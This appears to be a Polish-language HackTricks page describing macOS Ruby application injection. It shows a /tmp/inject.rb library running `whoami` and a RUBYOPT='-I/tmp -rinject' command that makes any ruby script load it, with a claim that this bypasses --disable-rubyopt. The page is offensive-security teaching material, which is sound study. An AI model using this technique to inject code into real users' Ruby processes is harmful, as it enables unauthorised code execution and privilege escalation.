hacktricks/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ruby-applications-injection.md
2024-12-12 13:54:31 +01:00

3.1 KiB

macOS Ruby Applications Injection

{% hint style="success" %} Learn & practice AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Learn & practice GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)

Support HackTricks
{% endhint %}

RUBYOPT

Używając tej zmiennej środowiskowej, można dodać nowe parametry do ruby za każdym razem, gdy jest uruchamiane. Chociaż parametr -e nie może być użyty do określenia kodu ruby do wykonania, możliwe jest użycie parametrów -I i -r do dodania nowego folderu do ścieżki ładowania bibliotek, a następnie określenie biblioteki do załadowania.

Utwórz bibliotekę inject.rb w /tmp:

{% code title="inject.rb" %}

puts `whoami`

{% endcode %}

Utwórz gdziekolwiek skrypt ruby, taki jak:

{% code title="hello.rb" %}

puts 'Hello, World!'

{% endcode %}

Następnie spraw, aby dowolny skrypt ruby załadował go za pomocą:

RUBYOPT="-I/tmp -rinject" ruby hello.rb

Fajny fakt, działa nawet z parametrem --disable-rubyopt:

RUBYOPT="-I/tmp -rinject" ruby hello.rb --disable-rubyopt

{% hint style="success" %} Ucz się i ćwicz Hacking AWS:HackTricks Training AWS Red Team Expert (ARTE)
Ucz się i ćwicz Hacking GCP: HackTricks Training GCP Red Team Expert (GRTE)

Wsparcie dla HackTricks
{% endhint %}